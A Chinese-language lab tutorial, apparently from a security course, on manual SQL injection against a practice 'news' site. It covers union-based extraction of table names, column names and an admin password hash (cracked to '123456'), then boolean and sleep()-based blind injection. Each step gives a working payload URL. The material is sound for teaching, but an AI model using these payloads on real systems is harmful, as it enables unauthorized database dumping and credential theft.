1 手工普通 SQL 注入
1.1 问题
本例要求掌握手工普通 SQL 注入全过程,具体要求如下:
1)判断是否存在注入点(字符型、数字型)
2)猜解 SQL 查询语句中的字段数
3)确定显示的字段位置
4)获取当前数据库
5)获取数据库中的表
6)获取表中的字段名
7)下载数据(脱库)
1.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:判断是否存在注入点(字符型、数字型)
1)安装 Firefox 附加组件 HackBar
打开 “附加组件” 界面,取消“自动更新附加组件”,然后选择“从文件安装附加组件…”,浏览安装 HackBar 组件,如图 - 1 所示。
图 - 1
按 F12 键,查看 HackBar 是否正常安装,如图 - 2 所示。
图 - 2
访问 news 靶场网站,打开某新闻页面,使用 HackBar 组件修改 id 参数,以判断是否存在数字型注入点,如图 - 3 所示,说明存在数字型注入点。
图 - 3
修改 id 参数,以判断是否存在字符型注入点,如图 - 4 所示,说明不存在(’)字符型注入点。
图 - 4
步骤二:猜解 SQL 查询语句中的字段数
1)使用 order by 关键字,变化其参数猜解表中字段数,如图 - 5 所示。
图 - 5
2)通过变换参数得知字段数为 15,如图 - 6 所示。
图 - 6
步骤三:确定显示的字段位置
构造 union select 联合查询语句,确定显示字段的位置是 3 和 11 字段,如图 - 7 所示。
1. http:
2. ?id=-55 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
图 - 7
步骤四:获取当前数据库
使用 database() 函数获取当前数据库名称,如图 - 8 所示。
1. http:
2. ?id=-55 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
图 - 8
步骤五:获取数据库中的表
1)通过查询 MySQL 元数据库 information_schema 中 tables 表 table_name 字段获取数据库 news 中所有表名,如图 - 9 所示。
1. http:
2. ?id=-55 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema='news'
图 - 9
2)使用 Encoding — HexDecode 解码,如图 - 10 所示。
1. 6E6577735F61727469636C652C6E6577735F63617465676F72792C6E6577735F66696C652C6E6577735F667269656E646C696E6B2C6E6577735F6D6573736167652C6E6577735F6E6F746963652C6E6577735F706167652C6E6577735F7573657273
2. news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users
图 - 10
步骤六:获取表中字段名
1)通过查询 MySQL 元数据库 information_schema 中 columns 表 column_name 字段,获取 news_users 表中所有字段名,如图 - 11 所示。
1. http:
2. ?id=-55 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='news_users'
图 - 11
2)使用 Encoding — HexDecode 解码,如图 - 12 所示。
1. 7573657269642C757365726E616D652C70617373776F7264
2. userid,username,password
图 - 12
步骤七:下载数据(脱库)
1)查询 news_users 表中 username、password 字段中数据,如图 - 13 所示。
1. http:
2. ?id=-55 union select 1,2,hex(concat(username, ' : ',password)),4,5,6,7,8,9,10,11,12,13,14,15 from news_users
图 - 13
2)使用 Encoding — HexDecode 解码,如图 - 14 所示。
1. 61646D696E203A206531306164633339343962613539616262653536653035376632306638383365
2. admin : e10adc3949ba59abbe56e057f20f883e
图 - 14
3)通过 md5 解码 “e10adc3949ba59abbe56e057f20f883e” 得“123456”,如图 - 15 所示。
图 - 15
2 SQL 盲注
2.1 问题
本例要求掌握 SQL 盲注全过程,具体要求如下:
1)判断是否存在注入点(布尔、延时)
2)猜解当前数据库名
3)猜解数据库中的表名
4)猜解表中的字段名
5)猜解数据
2.2 步骤
实现此案例需要按照如下步骤进行。
步骤一:判断是否存在注入点(布尔、延时)
1)构造 “恒真” 语句,判断页面布尔状态,如图 - 16 所示。
图 - 16
2)构造 “恒假” 语句,判断页面布尔状态,如图 - 17 所示。
图 - 17
3)构造条件 “真” 语句,判断是否页面延时,如图 - 18 所示。
1. http:
2. ?id=55 and if((1=1),sleep(5),1)
图 - 18
可以通过 “网络监视器” 查看页面载入耗时,如图 - 19 所示。
图 - 19
4)构造条件 “假” 语句,判断是否页面延时,如图 - 20 所示。
1. http:
2. ?id=55 and if((1=2),sleep(5),1)
图 - 20
可以通过 “网络监视器” 查看页面载入耗时,如图 - 21 所示。
图 - 21
步骤二:猜解当前数据库名
1)构造语句猜解数据库长度,比如长度为 3 时,如图 - 22 所示。
1. http:
2. ?id=55 and length(database())=3
图 - 22
比如长度为 4 时,如图 - 23 所示,根据页面布尔状态得知数据库长度为 4。
1. http:
2. ?id=55 and length(database())=4
图 - 23
2)构造语句猜解数据库名称中第 1 个字母,比如其 ASCII 码是 100,如图 - 24 所示。
1. http:
2. ?id=55 and ord(substr(database(),1,1))=100
图 - 24
比如其 ASCII 码是 110,如图 - 25 所示,猜解得知数据库名称第 1 个字母 ASCII 码是 110,即 “n”
图 - 25
3)同理猜解数据库名称中第 2 个字母,如图 - 26 所示,得知数据库名称第 2 个字母 ASCII 码是 101,即 “e”。
1. http:
2. ?id=55 and ord(substr(database(),2,1))=101
图 - 26
步骤三:猜解数据库表名
猜解数据库中表的第 1 个字母,如图 - 27 所示,得知数据库名称第 1 个字母 ASCII 码是 110,即 “n”,同理猜解其他位置字母。
1. http:
2. ?id=55 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),1,1))=110
图 - 27
步骤四:猜解表中的字段名
猜解 news_users 表中字段名中的第 1 个字母,如图 - 28 所示,得知表中字段第 1 个字母 ASCII 码是 117,即 “u”,同理猜解其他位置字母。
1. http:
2. ?id=55 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117
图 - 28
步骤四:猜解数据
猜解 username 字段中数据,如图 - 29 所示,得知 username 字段中数据第 1 个字母 ASCII 码是 97,即 “a”,同理猜解其他位置字母。
1. http:
2. ?id=55 and ord(substr((select group_concat(username) from news_users ),1,1))=97
图 - 29
猜解 password 字段中数据,如图 - 30 所示,得知 password 字段中数据第 1 个字母 ASCII 码是 101,即 “e”,同理猜解其他位置字母。
1. http:
2. ?id=55 and ord(substr((select group_concat(password) from news_users ),1,1))=101
图 - 30
https://tts.tmooc.cn/ttsPage/NTD/NTDTN202109/INJECTION/DAY02/CASE/01/index.html